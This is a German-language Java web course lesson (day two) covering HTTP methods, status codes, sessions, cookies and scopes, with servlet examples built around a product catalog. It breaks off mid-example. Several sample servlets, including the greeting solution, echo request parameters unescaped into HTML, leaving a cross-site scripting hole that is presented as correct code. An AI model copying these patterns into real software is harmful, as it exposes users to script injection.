Java Web Basic – Tag 2 von 10
Von Elyndra Valen, Senior Developer bei Java Fleet Systems Consulting


🗺️ Deine Position im Kurs

TagThemaStatus
1Java EE Überblick & HTTP ✅ Abgeschlossen
→ 2HTTP-Protokoll Vertiefung & Zustandslosigkeit👉 DU BIST HIER!
3Servlets & Servlet API🔒 Noch nicht freigeschaltet
4Deployment Descriptor & MVC vs Model 2🔒 Noch nicht freigeschaltet
5JSP & Expression Languages (Teil 1)🔒 Noch nicht freigeschaltet
6Java Beans, Actions, Scopes & Direktiven🔒 Noch nicht freigeschaltet
7Include-Action vs Include-Direktive🔒 Noch nicht freigeschaltet
8JSTL – Java Standard Tag Libraries🔒 Noch nicht freigeschaltet
9Java Web und Datenbanken – Datasource🔒 Noch nicht freigeschaltet
10Connection Pools & JDBC in Web-Umgebungen🔒 Noch nicht freigeschaltet

Modul: Java Web Basic
Gesamt-Dauer: 10 Arbeitstage (je 8 Stunden)
Dauer heute: 8 Stunden
Dein Ziel: HTTP-Protokoll meistern und Sessions verstehen


📋 Voraussetzungen für diesen Tag

Du brauchst:

  • ✅ Tag 1 abgeschlossen (Java EE Grundlagen)
  • ✅ Payara Server läuft in NetBeans
  • ✅ HelloPayara-Projekt vom ersten Tag
  • ✅ Browser mit Developer Tools (Chrome, Firefox, Edge)

Tag 1 verpasst?
Geh zurück und arbeite Tag 1 durch. Ohne die Grundlagen wird heute schwierig.


⚡ Das Wichtigste in 30 Sekunden

Heute lernst du:

  • ✅ HTTP-Methoden im Detail (GET, POST, PUT, DELETE, HEAD, OPTIONS)
  • ✅ HTTP-Status-Codes und wann du welche verwendest
  • ✅ HTTP-Headers und ihre Bedeutung
  • ✅ Was Zustandslosigkeit bedeutet und warum das problematisch ist
  • ✅ Wie Sessions funktionieren (technisch im Detail)
  • ✅ Cookies verstehen und verwenden
  • ✅ Session-Scope vs. Request-Scope vs. Application-Scope

Am Ende des Tages kannst du:

  • HTTP-Requests und -Responses im Detail analysieren
  • Den richtigen HTTP-Status-Code für jede Situation wählen
  • Sessions in Servlets verwenden
  • Cookies setzen und auslesen
  • Verschiedene Scopes verstehen und anwenden

Zeit-Investment: ~8 Stunden
Schwierigkeitsgrad: Mittel


👋 Willkommen zu Tag 2!

Hi! 👋

Elyndra hier. Schön, dass du zurück bist!

Gestern haben wir das Fundament gelegt:

Wir haben verstanden, was Java EE ist, wie Application Server funktionieren, und wir haben einen ersten Blick auf HTTP geworfen.

Heute gehen wir tiefer:

HTTP ist nicht nur „Browser schickt Request, Server schickt Response“. Es ist viel nuancierter. Es gibt verschiedene Methoden (nicht nur GET!), verschiedene Status-Codes (nicht nur 200 und 404!), und jede Menge Header, die bestimmen, WIE die Kommunikation abläuft.

Aber bevor wir einsteigen – lass mich dir die Tragweite von HTTP verdeutlichen:

Allein in Deutschland werden jede Stunde etwa 250 Millionen Anfragen an die Google-Suche geschickt. 250 Millionen. Pro Stunde. Nur Google. Nur Deutschland.

Das sind nur Suchanfragen – keine Instagram-Posts, keine WhatsApp-Nachrichten, keine Amazon-Bestellungen, keine Netflix-Streams, kein Online-Banking.

Jede einzelne dieser 250 Millionen Anfragen läuft über HTTP. Jeder Klick, jedes Formular, jedes Bild, jedes Video. HTTP ist das unsichtbare Protokoll, das das moderne Internet zusammenhält.

Wenn du HTTP verstehst, verstehst du die Sprache, in der Milliarden von Geräten miteinander kommunizieren. Jeden Tag. Jede Sekunde.

Und genau deshalb nehmen wir uns heute die Zeit, es richtig zu verstehen.


Und dann ist da noch das große Thema: Zustandslosigkeit.

HTTP „vergisst“ nach jedem Request. Aber unsere Anwendungen brauchen Zustand – wer ist eingeloggt? Was liegt im Warenkorb? Welche Sprache hat der User gewählt?

Ein Vergleich aus meiner Welt:

Stell dir vor, du gehst zu einem Handwerker und bittest ihn, einen Tisch zu bauen.

Mit Zustand (normal):

  • Tag 1: „Bau mir einen Tisch, 2m lang, Eiche“
  • Tag 2: Du kommst zurück – er weiß noch, was du willst
  • Tag 3: Der Tisch ist fertig

Ohne Zustand (HTTP):

  • Tag 1: „Bau mir einen Tisch, 2m lang, Eiche“
  • Tag 2: Du kommst zurück – er hat alles vergessen
  • Du musst wieder erklären: „2m, Eiche, erinnerst du dich?“
  • Tag 3: Wieder von vorne erklären

So funktioniert HTTP – jeder Request ist wie ein neuer Kunde, den der Server noch nie gesehen hat.

Heute lösen wir dieses Problem mit Sessions.

Los geht’s! 🔧


🔄 Kurzwiederholung: Challenge von Tag 1

Erinnerst du dich an die Challenge von gestern?

Die Aufgabe war: Erstelle ein Servlet, das „Hello, [Name]!“ ausgibt mit der URL http://localhost:8080/HelloPayara/greet?name=Anna

Hier ist die Musterlösung:

package com.javadeveloper.hellopayara;

import jakarta.servlet.ServletException;
import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;

@WebServlet("/greet")
public class GreetServlet extends HttpServlet {
    
    @Override
    protected void doGet(HttpServletRequest request, 
                        HttpServletResponse response) 
                        throws ServletException, IOException {
        
        // Content-Type setzen
        response.setContentType("text/html;charset=UTF-8");
        
        // Parameter auslesen
        String name = request.getParameter("name");
        
        // Falls kein Name angegeben wurde
        if (name == null || name.trim().isEmpty()) {
            name = "Stranger";
        }
        
        // Response schreiben
        PrintWriter out = response.getWriter();
        out.println("<!DOCTYPE html>");
        out.println("<html>");
        out.println("<head><title>Greeting</title></head>");
        out.println("<body>");
        out.println("<h1>Hello, " + name + "!</h1>");
        out.println("</body>");
        out.println("</html>");
    }
}

Hast du’s selbst geschafft? Großartig! 🎉
Hattest du Schwierigkeiten? Kein Problem – vergleiche deinen Code mit der Lösung und schau, wo die Unterschiede sind.

Wichtige Punkte:

  • @WebServlet("/greet") – URL-Mapping ohne web.xml
  • request.getParameter("name") – Parameter aus URL auslesen
  • response.setContentType("text/html;charset=UTF-8") – MIME-Type setzen
  • Null-Check für Parameter – wichtig für Robustheit!

Und jetzt geht’s weiter mit HTTP im Detail! 🚀


🟢 GRUNDLAGEN: HTTP-Methoden im Detail

Die wichtigsten HTTP-Methoden

Gestern haben wir GET und POST kennengelernt. Heute schauen wir uns ALLE wichtigen Methoden an.

HTTP/1.1 definiert diese Methoden:

HTTP-MethodeZweckServlet-Methode
GETDaten abrufen (Read)doGet()
POSTDaten senden / erstellen (Create)doPost()
PUTDaten ersetzen (Update/Replace)doPut()
DELETEDaten löschen (Delete)doDelete()
HEADWie GET, aber nur HeadersdoHead()
OPTIONSZeigt erlaubte MethodendoOptions()
PATCHDaten teilweise ändern (Partial Update)doPatch()

Die wichtigsten für dich:

  • GET – Daten abrufen (z.B. Produktliste anzeigen)
  • POST – Daten senden (z.B. Login, Formular absenden)
  • PUT – Daten komplett ersetzen (z.B. Profil aktualisieren)
  • DELETE – Daten löschen (z.B. Produkt entfernen)

GET – Daten abrufen

Zweck:

Ressourcen vom Server abrufen.

Eigenschaften:

  • ✅ Safe (ändert nichts auf dem Server)
  • ✅ Idempotent (mehrfaches Ausführen = gleiches Ergebnis)
  • ✅ Cacheable (Browser kann Response cachen)
  • ✅ Bookmarkable (URL kann gespeichert werden)

HTTP-Request:

GET /products?category=electronics&sort=price HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0
Accept: text/html

In Java:

@WebServlet("/products")
public class ProductServlet extends HttpServlet {
    
    @Override
    protected void doGet(HttpServletRequest request, 
                        HttpServletResponse response) 
                        throws ServletException, IOException {
        
        // Parameter aus URL lesen
        String category = request.getParameter("category");
        String sort = request.getParameter("sort");
        
        // Daten aus Datenbank holen
        List<Product> products = productDAO.findByCategory(category, sort);
        
        // Response generieren
        response.setContentType("text/html;charset=UTF-8");
        PrintWriter out = response.getWriter();
        
        out.println("<html><body>");
        out.println("<h1>Products in " + category + "</h1>");
        for (Product p : products) {
            out.println("<p>" + p.getName() + " - " + p.getPrice() + "</p>");
        }
        out.println("</body></html>");
    }
}

Wichtig:

GET sollte NIEMALS den Server-Zustand verändern!

// FALSCH! GET sollte nichts löschen!
@WebServlet("/deleteProduct")
public class DeleteServlet extends HttpServlet {
    protected void doGet(HttpServletRequest request, 
                        HttpServletResponse response) {
        String id = request.getParameter("id");
        productDAO.delete(id); // ❌ FALSCH!
    }
}

Warum ist das falsch?

  • Suchmaschinen-Crawler könnten die URL aufrufen und Daten löschen
  • Browser-Prefetching könnte Daten versehentlich löschen
  • GET-Requests werden gecached – das kann zu Problemen führen

Für Lösch-Operationen: DELETE verwenden!


💻 Praktisches Beispiel: Produktliste mit Session-Scope

Jetzt erstellen wir zwei funktionierende Servlets mit 20 echten Produkten!

Schritt 1: Product-Klasse erstellen

Erstelle src/main/java/com/javadeveloper/model/Product.java:

package com.javadeveloper.model;

public class Product {
    private Long id;
    private String name;
    private String category;
    private double price;
    
    public Product(Long id, String name, String category, double price) {
        this.id = id;
        this.name = name;
        this.category = category;
        this.price = price;
    }
    
    // Getter
    public Long getId() { return id; }
    public String getName() { return name; }
    public String getCategory() { return category; }
    public double getPrice() { return price; }
}

Schritt 2: ProductListServlet – Alle Produkte anzeigen

Erstelle src/main/java/com/javadeveloper/servlet/ProductListServlet.java:

package com.javadeveloper.servlet;

import com.javadeveloper.model.Product;
import jakarta.servlet.ServletException;
import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.util.ArrayList;
import java.util.List;

@WebServlet("/products")
public class ProductListServlet extends HttpServlet {
    
    // In-Memory "Datenbank" - 20 Produkte
    private static final List<Product> PRODUCTS = new ArrayList<>();
    
    static {
        // Elektronik
        PRODUCTS.add(new Product(1L, "Laptop Dell XPS 15", "Electronics", 1299.99));
        PRODUCTS.add(new Product(2L, "iPhone 15 Pro", "Electronics", 1199.00));
        PRODUCTS.add(new Product(3L, "Samsung Galaxy S24", "Electronics", 899.00));
        PRODUCTS.add(new Product(4L, "MacBook Air M2", "Electronics", 1449.00));
        PRODUCTS.add(new Product(5L, "Logitech MX Master 3S", "Electronics", 99.99));
        
        // Bücher
        PRODUCTS.add(new Product(6L, "Clean Code (Robert Martin)", "Books", 42.50));
        PRODUCTS.add(new Product(7L, "Effective Java (Joshua Bloch)", "Books", 47.99));
        PRODUCTS.add(new Product(8L, "Design Patterns (Gang of Four)", "Books", 54.99));
        PRODUCTS.add(new Product(9L, "The Pragmatic Programmer", "Books", 39.99));
        PRODUCTS.add(new Product(10L, "Head First Java", "Books", 44.99));
        
        // Kleidung
        PRODUCTS.add(new Product(11L, "Nike Air Max 270", "Clothing", 149.99));
        PRODUCTS.add(new Product(12L, "Adidas Ultraboost 23", "Clothing", 179.99));
        PRODUCTS.add(new Product(13L, "Levi's 501 Jeans", "Clothing", 89.99));
        PRODUCTS.add(new Product(14L, "North Face Jacket", "Clothing", 199.99));
        PRODUCTS.add(new Product(15L, "Tommy Hilfiger Polo", "Clothing", 79.99));
        
        // Sport
        PRODUCTS.add(new Product(16L, "Yoga Mat Premium", "Sports", 34.99));
        PRODUCTS.add(new Product(17L, "Dumbbell Set 20kg", "Sports", 89.99));
        PRODUCTS.add(new Product(18L, "Fitbit Charge 6", "Sports", 159.99));
        PRODUCTS.add(new Product(19L, "Protein Powder 1kg", "Sports", 29.99));
        PRODUCTS.add(new Product(20L, "Running Shoes Asics", "Sports", 129.99));
    }
    
    @Override
    protected void doGet(HttpServletRequest request, 
                        HttpServletResponse response) 
                        throws ServletException, IOException {
        
        response.setContentType("text/html;charset=UTF-8");
        PrintWriter out = response.getWriter();
        
        out.println("<!DOCTYPE html>");
        out.println("<html>");
        out.println("<head>");
        out.println("<title>Product List</title>");
        out.println("<style>");
        out.println("body { font-family: Arial, sans-serif; margin: 40px; }");
        out.println("table { border-collapse: collapse; width: 100%; }");
        out.println("th, td { border: 1px solid #ddd; padding: 12px; text-align: left; }");
        out.println("th { background-color: #4CAF50; color: white; }");
        out.println("tr:hover { background-color: #f5f5f5; }");
        out.println("a { color: #4CAF50; text-decoration: none; }");
        out.println("a:hover { text-decoration: underline; }");
        out.println("</style>");
        out.println("</head>");
        out.println("<body>");
        
        out.println("<h1>📦 Product Catalog</h1>");
        out.println("<p>Total products: " + PRODUCTS.size() + "</p>");
        
        out.println("<table>");
        out.println("<tr>");
        out.println("<th>ID</th>");
        out.println("<th>Name</th>");
        out.println("<th>Category</th>");
        out.println("<th>Price</th>");
        out.println("<th>Action</th>");
        out.println("</tr>");
        
        for (Product product : PRODUCTS) {
            out.println("<tr>");
            out.println("<td>" + product.getId() + "</td>");
            out.println("<td>" + product.getName() + "</td>");
            out.println("<td>" + product.getCategory() + "</td>");
            out.println("<td>€" + String.format("%.2f", product.getPrice()) + "</td>");
            out.println("<td><a href='/HelloPayara/product/" + product.getId() + "'>View Details</a></td>");
            out.println("</tr>");
        }
        
        out.println("</table>");
        out.println("</body>");
        out.println("</html>");
    }
}

Testen:

Starte Payara und öffne: http://localhost:8080/HelloPayara/products

Du siehst eine schöne Tabelle mit 20 Produkten!


Schritt 3: ProductDetailServlet mit Session-Scope

Erstelle src/main/java/com/javadeveloper/servlet/ProductDetailServlet.java:

package com.javadeveloper.servlet;

import com.javadeveloper.model.Product;
import jakarta.servlet.ServletException;
import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import jakarta.servlet.http.HttpSession;
import java.io.IOException;
import java.io.PrintWriter;
import java.util.ArrayList;
import java.util.List;

@WebServlet("/product/*")
public class ProductDetailServlet extends HttpServlet {
    
    // Gleiche Produktliste (in echter App: Datenbank)
    private static final List<Product> PRODUCTS = new ArrayList<>();
    
    static {
        PRODUCTS.add(new Product(1L, "Laptop Dell XPS 15", "Electronics", 1299.99));
        PRODUCTS.add(new Product(2L, "iPhone 15 Pro", "Electronics", 1199.00));
        PRODUCTS.add(new Product(3L, "Samsung Galaxy S24", "Electronics", 899.00));
        PRODUCTS.add(new Product(4L, "MacBook Air M2", "Electronics", 1449.00));
        PRODUCTS.add(new Product(5L, "Logitech MX Master 3S", "Electronics", 99.99));
        PRODUCTS.add(new Product(6L, "Clean Code (Robert Martin)", "Books", 42.50));
        PRODUCTS.add(new Product(7L, "Effective Java (Joshua Bloch)", "Books", 47.99));
        PRODUCTS.add(new Product(8L, "Design Patterns (Gang of Four)", "Books", 54.99));
        PRODUCTS.add(new Product(9L, "The Pragmatic Programmer", "Books", 39.99));
        PRODUCTS.add(new Product(10L, "Head First Java", "Books", 44.99));
        PRODUCTS.add(new Product(11L, "Nike Air Max 270", "Clothing", 149.99));
        PRODUCTS.add(new Product(12L, "Adidas Ultraboost 23", "Clothing", 179.99));
        PRODUCTS.add(new Product(13L, "Levi's 501 Jeans", "Clothing", 89.99));
        PRODUCTS.add(new Product(14L, "North Face Jacket", "Clothing", 199.99));
        PRODUCTS.add(new Product(15L, "Tommy Hilfiger Polo", "Clothing", 79.99));
        PRODUCTS.add(new Product(16L, "Yoga Mat Premium", "Sports", 34.99));
        PRODUCTS.add(new Product(17L, "Dumbbell Set 20kg", "Sports", 89.99));
        PRODUCTS.add(new Product(18L, "Fitbit Charge 6", "Sports", 159.99));
        PRODUCTS.add(new Product(19L, "Protein Powder 1kg", "Sports", 29.99));
        PRODUCTS.add(new Product(20L, "Running Shoes Asics", "Sports", 129.99));
    }
    
    @Override
    protected void doGet(HttpServletRequest request, 
                        HttpServletResponse response) 
                        throws ServletException, IOException {
        
        // ID aus URL extrahieren: /product/12 → "12"
        String pathInfo = request.getPathInfo();
        
        if (pathInfo == null || pathInfo.equals("/")) {
            response.sendError(HttpServletResponse.SC_BAD_REQUEST, "Product ID missing");
            return;
        }
        
        // Entferne führenden Slash: "/12" → "12"
        String idString = pathInfo.substring(1);
        
        try {
            Long id = Long.parseLong(idString);
            
            // Produkt suchen
            Product product = findProductById(id);
            
            if (product == null) {
                response.sendError(HttpServletResponse.SC_NOT_FOUND, 
                    "Product with ID " + id + " not found");
                return;
            }
            
            // ⭐ SESSION-SCOPE: Produkt am Session-Scope hängen
            HttpSession session = request.getSession();
            session.setAttribute("lastViewedProduct", product);
            session.setAttribute("lastViewedTime", System.currentTimeMillis());
            
            // HTML generieren
            response.setContentType("text/html;charset=UTF-8");
            PrintWriter out = response.getWriter();
            
            out.println("<!DOCTYPE html>");
            out.println("<html>");
            out.println("<head>");
            out.println("<title>" + product.getName() + "</title>");
            out.println("<style>");
            out.println("body { font-family: Arial, sans-serif; margin: 40px; }");
            out.println(".product-card { border: 1px solid #ddd; padding: 20px; max-width: 600px; }");
            out.println(".price { color: #4CAF50; font-size: 24px; font-weight: bold; }");
            out.println(".category { color: #666; font-style: italic; }");
            out.println("a { color: #4CAF50; text-decoration: none; }");
            out.println(".session-info { background: #f0f0f0; padding: 10px; margin-top: 20px; }");
            out.println("</style>");
            out.println("</head>");
            out.println("<body>");
            
            out.println("<div class='product-card'>");
            out.println("<h1>" + product.getName() + "</h1>");
            out.println("<p class='category'>Category: " + product.getCategory() + "</p>");
            out.println("<p class='price'>€" + String.format("%.2f", product.getPrice()) + "</p>");
            out.println("<p>Product ID: " + product.getId() + "</p>");
            
            out.println("<div class='session-info'>");
            out.println("<h3>🔒 Session-Scope Demo:</h3>");
            out.println("<p>Dieses Produkt wurde am <strong>Session-Scope gehängt</strong>.</p>");
            out.println("<p><strong>Session ID:</strong> " + session.getId() + "</p>");
            out.println("<p>Das Produkt-Objekt liegt <strong>server-seitig</strong>. Dein Browser hat nur die Session-ID als Cookie.</p>");
            out.println("<p>Die Session-ID ist das <strong>Bindeglied</strong> zwischen Browser und Server-Daten!</p>");
            out.println("<p>Wenn du ein anderes Servlet aufrufst (z.B. /lastViewed), kann es dieses Produkt über die Session-ID vom Server holen!</p>");
            out.println("</div>");
            
            out.println("<hr>");
            out.println("<p><a href='/HelloPayara/products'>← Back to Product List</a></p>");
            out.println("</div>");
            
            out.println("</body>");
            out.println("</html>");
            
        } catch (NumberFormatException e) {
            response.sendError(HttpServletResponse.SC_BAD_REQUEST, 
                "Invalid product ID: " + idString);
        }
    }
    
    private Product findProductById(Long id) {
        for (Product p : PRODUCTS) {
            if (p.getId().equals(id)) {
                return p;
            }
        }
        return null;
    }
}

Testen:

  1. Öffne: http://localhost:8080/HelloPayara/products
  2. Klicke auf „View Details“ bei Produkt 12
  3. URL wird zu: http://localhost:8080/HelloPayara/product/12
  4. Du siehst das Produkt + Session-Info!

Was passiert hier mit Session-Scope?

// ⭐ SESSION-SCOPE: Objekt am Session-Scope hängen
HttpSession session = request.getSession();
session.setAttribute("lastViewedProduct", product);
session.setAttribute("lastViewedTime", System.currentTimeMillis());

Session-Scope bedeutet:

  • Das Produkt wird server-seitig am Session-Scope gehängt
  • Der Browser bekommt nur die Session-ID (als Cookie)
  • Die Session-ID ist das Bindeglied zwischen Browser und Server-Daten
  • Jeder User hat seinen eigenen Session-Scope
  • Die Daten bleiben erhalten bis Logout oder Timeout (Standard: 30 Min)

Im Gegensatz zu Request-Scope:

// REQUEST-SCOPE: Nur für DIESEN Request gültig
request.setAttribute("currentProduct", product);
// Nach der Response ist "currentProduct" WEG ❌

Wichtig zu verstehen:

Das Produkt-Objekt liegt auf dem Server! Der Browser hat nur die Session-ID:

Browser                          Server
--------                         --------
Cookie: JSESSIONID=ABC123   →    Session-Speicher:
                                 - ABC123 → {
                                     lastViewedProduct: Product{id=12, ...},
                                     lastViewedTime: 1234567890
                                   }

Die Session-ID ist nur ein Pointer auf die server-seitigen Daten!


Bonus: LastViewedServlet erstellen

Erstelle src/main/java/com/javadeveloper/servlet/LastViewedServlet.java:

package com.javadeveloper.servlet;

import com.javadeveloper.model.Product;
import jakarta.servlet.ServletException;
import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import jakarta.servlet.http.HttpSession;
import java.io.IOException;
import java.io.PrintWriter;

@WebServlet("/lastViewed")
public class LastViewedServlet extends HttpServlet {
    
    @Override
    protected void doGet(HttpServletRequest request, HttpServletResponse response) 
            throws ServletException, IOException {
        
        // Session holen (aber KEINE neue erstellen!)
        HttpSession session = request.getSession(false);
        
        response.setContentType("text/html;charset=UTF-8");
        PrintWriter out = response.getWriter();
        
        out.println("<!DOCTYPE html>");
        out.println("<html><head><title>Last Viewed</title></head><body>");
        out.println("<h1>Zuletzt angesehen</h1>");
        
        if (session == null) {
            out.println("<p>❌ Keine Session gefunden!</p>");
        } else {
            Product lastViewed = (Product) session.getAttribute("lastViewedProduct");
            
            if (lastViewed == null) {
                out.println("<p>Du hast noch kein Produkt angesehen.</p>");
            } else {
                out.println("<p>✅ Zuletzt angesehen: <strong>" + lastViewed.getName() + "</strong></p>");
                out.println("<p>Preis: €" + lastViewed.getPrice() + "</p>");
            }
        }
        
        out.println("<hr>");
        out.println("<p><a href='/HelloPayara/products'>Zur Produktliste</a></p>");
        out.println("</body></html>");
    }
}

Testen:

  1. Öffne /HelloPayara/product/12 (schau dir ein Produkt an)
  2. Dann öffne /HelloPayara/lastViewed
  3. Du siehst: „Zuletzt angesehen: Adidas Ultraboost 23“

Das ist Session-Scope in Action! 🎉


POST – Daten senden

Zweck:

Daten an den Server senden, meist um eine neue Ressource zu erstellen.

Eigenschaften:

  • ❌ Nicht safe (verändert Server-Zustand)
  • ❌ Nicht idempotent (mehrfaches Ausführen = mehrere Ressourcen)
  • ❌ Nicht cacheable
  • ❌ Nicht bookmarkable

HTTP-Request:

POST /products HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 45

name=Laptop&price=999.99&category=electronics

In Java:

@WebServlet("/products")
public class ProductServlet extends HttpServlet {
    
    @Override
    protected void doPost(HttpServletRequest request, 
                         HttpServletResponse response) 
                         throws ServletException, IOException {
        
        // Parameter aus Request Body lesen
        String name = request.getParameter("name");
        String priceStr = request.getParameter("price");
        String category = request.getParameter("category");
        
        // Validierung
        if (name == null || name.trim().isEmpty()) {
            response.setStatus(HttpServletResponse.SC_BAD_REQUEST);
            response.getWriter().println("Name is required");
            return;
        }
        
        // In Datenbank speichern
        Product product = new Product();
        product.setName(name);
        product.setPrice(new BigDecimal(priceStr));
        product.setCategory(category);
        
        productDAO.save(product);
        
        // 201 Created Response
        response.setStatus(HttpServletResponse.SC_CREATED);
        response.setHeader("Location", "/products/" + product.getId());
        response.getWriter().println("Product created successfully");
    }
}

Was passiert hier im Detail?

  1. Content-Type prüfen: Der Request hat Content-Type: application/x-www-form-urlencoded
  2. Body parsen: Der Webcontainer parsed den Body automatisch
  3. Parameter extrahieren: Mit request.getParameter() können wir die Werte lesen
  4. Validierung: Prüfen, ob alle nötigen Daten vorhanden sind
  5. Speichern: In Datenbank persistieren
  6. Response: Status 201 Created + Location-Header mit neuer Ressourcen-URL

POST vs. GET für Formulare:

<!-- Login-Formular - IMMER POST! -->
<form action="/login" method="post">
    <input type="email" name="email">
    <input type="password" name="password">
    <button type="submit">Login</button>
</form>

<!-- Such-Formular - GET ist okay -->
<form action="/search" method="get">
    <input type="text" name="query">
    <button type="submit">Search</button>
</form>

Warum POST für Login?

GET:  /login?email=anna@example.com&password=secret123
                                              ↑
                           Passwort in URL sichtbar!
                           Browser-History!
                           Server-Logs!
POST: /login
      Body: email=anna@example.com&password=secret123
            ↑
      Nicht in URL, nicht in Browser-History

HEAD – Nur Headers abrufen

Zweck:

Wie GET, aber der Server schickt nur die Headers, nicht den Body.

Verwendung:

  • Prüfen ob eine Ressource existiert
  • Größe einer Datei ermitteln (ohne sie herunterzuladen)
  • Letzte Änderung prüfen

HTTP-Request:

HEAD /products/123 HTTP/1.1
Host: localhost:8080

HTTP-Response:

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 156
Last-Modified: Sat, 25 Oct 2025 10:00:00 GMT
ETag: "abc123"

(kein Body!)

In Java:

@WebServlet("/products/*")
public class ProductServlet extends HttpServlet {
    
    @Override
    protected void doHead(HttpServletRequest request, 
                         HttpServletResponse response) 
                         throws ServletException, IOException {
        
        // ID aus URL
        String pathInfo = request.getPathInfo();
        String id = pathInfo.substring(1);
        
        // Prüfen ob existiert
        Product product = productDAO.findById(Long.parseLong(id));
        
        if (product == null) {
            response.setStatus(HttpServletResponse.SC_NOT_FOUND);
            return;
        }
        
        // Nur Headers setzen, kein Body!
        response.setStatus(HttpServletResponse.SC_OK);
        response.setContentType("application/json");
        response.setHeader("Last-Modified", 
            product.getLastModified().toString());
        response.setIntHeader("Content-Length", 156);
    }
}

Wichtig:

Meistens musst du doHead() NICHT implementieren. Der Webcontainer macht das automatisch:

  • Er ruft doGet() auf
  • Nimmt die Headers
  • Verwirft den Body

OPTIONS – Verfügbare Methoden abfragen

Zweck:

Zeigt, welche HTTP-Methoden für eine Ressource erlaubt sind.

HTTP-Request:

OPTIONS /products/123 HTTP/1.1
Host: localhost:8080

HTTP-Response:

HTTP/1.1 200 OK
Allow: GET, POST, PUT, DELETE, OPTIONS

Wird hauptsächlich für CORS (Cross-Origin Resource Sharing) verwendet.


🟢 GRUNDLAGEN: HTTP-Status-Codes im Detail

Die fünf Kategorien

HTTP-Status-Codes sind dreistellige Zahlen, die den Status der Response anzeigen.

KategorieBedeutungBeispiele
1xxInformational100 Continue, 101 Switching Protocols
2xxSuccess200 OK, 201 Created, 204 No Content
3xxRedirection301 Moved Permanently, 302 Found, 304 Not Modified
4xxClient Error400 Bad Request, 401 Unauthorized, 404 Not Found
5xxServer Error500 Internal Server Error, 503 Service Unavailable

2xx – Success

200 OK

Bedeutung: Request war erfolgreich.

Verwendung: Standard-Response für erfolgreiche GET, PUT, PATCH, DELETE Requests.

response.setStatus(HttpServletResponse.SC_OK); // 200
// oder: einfach nichts setzen (200 ist default)

201 Created

Bedeutung: Eine neue Ressource wurde erstellt.

Verwendung: Nach erfolgreichem POST-Request.

@Override
protected void doPost(HttpServletRequest request, 
                     HttpServletResponse response) {
    
    Product product = createProductFromRequest(request);
    productDAO.save(product);
    
    // 201 Created
    response.setStatus(HttpServletResponse.SC_CREATED);
    
    // Location-Header: URL der neuen Ressource
    response.setHeader("Location", "/products/" + product.getId());
    
    response.getWriter().println("Product created");
}

Wichtig: Bei 201 solltest du IMMER einen Location-Header mit der URL der neuen Ressource setzen!

204 No Content

Bedeutung: Request erfolgreich, aber keine Daten zurück.

Verwendung: Nach erfolgreichem DELETE oder PUT, wenn keine Response-Daten nötig sind.

@Override
protected void doDelete(HttpServletRequest request, 
                       HttpServletResponse response) {
    
    String id = extractIdFromPath(request);
    productDAO.delete(Long.parseLong(id));
    
    // 204 No Content (kein Body!)
    response.setStatus(HttpServletResponse.SC_NO_CONTENT);
    // Kein response.getWriter().println() nötig!
}

3xx – Redirection

301 Moved Permanently

Bedeutung: Die Ressource wurde permanent verschoben.

Verwendung: Wenn eine URL sich dauerhaft geändert hat.

response.setStatus(HttpServletResponse.SC_MOVED_PERMANENTLY); // 301
response.setHeader("Location", "/new-url");

Was passiert:

  1. Browser sendet: GET /old-url
  2. Server antwortet: 301 Moved Permanently + Location: /new-url
  3. Browser merkt sich: „/old-url ist jetzt /new-url“
  4. Browser macht automatisch Request zu /new-url

Browser cacht diese Weiterleitung!

302 Found (Temporary Redirect)

Bedeutung: Die Ressource ist temporär woanders.

Verwendung: Nach POST-Requests (Post-Redirect-Get Pattern).

@Override
protected void doPost(HttpServletRequest request, 
                     HttpServletResponse response) {
    
    // Login-Logik
    String email = request.getParameter("email");
    String password = request.getParameter("password");
    
    if (authenticate(email, password)) {
        // Erfolgreich → Redirect zu Dashboard
        response.sendRedirect("/dashboard");
        // sendRedirect() setzt automatisch 302!
    } else {
        // Fehlgeschlagen → Redirect zu Login mit Error
        response.sendRedirect("/login?error=true");
    }
}

Was macht sendRedirect()?

response.sendRedirect("/dashboard");

// ist equivalent zu:
response.setStatus(HttpServletResponse.SC_FOUND); // 302
response.setHeader("Location", "/dashboard");

Post-Redirect-Get Pattern:

Browser                          Server
   |                               |
   |---- POST /login --------------->|
   |    (email=anna&password=123)   |
   |                                | [Login-Logik]
   |<--- 302 Found ------------------|
   |    Location: /dashboard        |
   |                                |
   |---- GET /dashboard ------------->|
   |                                |
   |<--- 200 OK -------------------|
   |    (Dashboard HTML)            |

Warum das Pattern?

Ohne Redirect:

POST /login → 200 OK (Dashboard HTML)
User drückt F5 (Reload)
→ Browser fragt: "POST nochmal absenden?"
→ Nervige Warnung!

Mit Redirect:

POST /login → 302 Redirect → GET /dashboard
User drückt F5
→ Browser macht einfach GET /dashboard nochmal
→ Keine Warnung!

304 Not Modified

Bedeutung: Die Ressource hat sich nicht geändert, verwende gecachte Version.

Verwendung: Für Caching-Optimierung.

@Override
protected void doGet(HttpServletRequest request, 
                    HttpServletResponse response) {
    
    Product product = productDAO.findById(123);
    
    // Letzter Änderungszeitpunkt
    String lastModified = product.getLastModified().toString();
    
    // Prüfen ob Client cached Version hat
    String ifModifiedSince = request.getHeader("If-Modified-Since");
    
    if (lastModified.equals(ifModifiedSince)) {
        // Nicht geändert → 304
        response.setStatus(HttpServletResponse.SC_NOT_MODIFIED);
        return; // Kein Body!
    }
    
    // Geändert → 200 OK mit Daten
    response.setHeader("Last-Modified", lastModified);
    response.getWriter().println(product.toJson());
}

4xx – Client Error

400 Bad Request

Bedeutung: Der Request ist fehlerhaft (Syntax, fehlende Parameter, etc.).

Verwendung: Wenn Client-Daten nicht validiert werden können.

@Override
protected void doPost(HttpServletRequest request, 
                     HttpServletResponse response) {
    
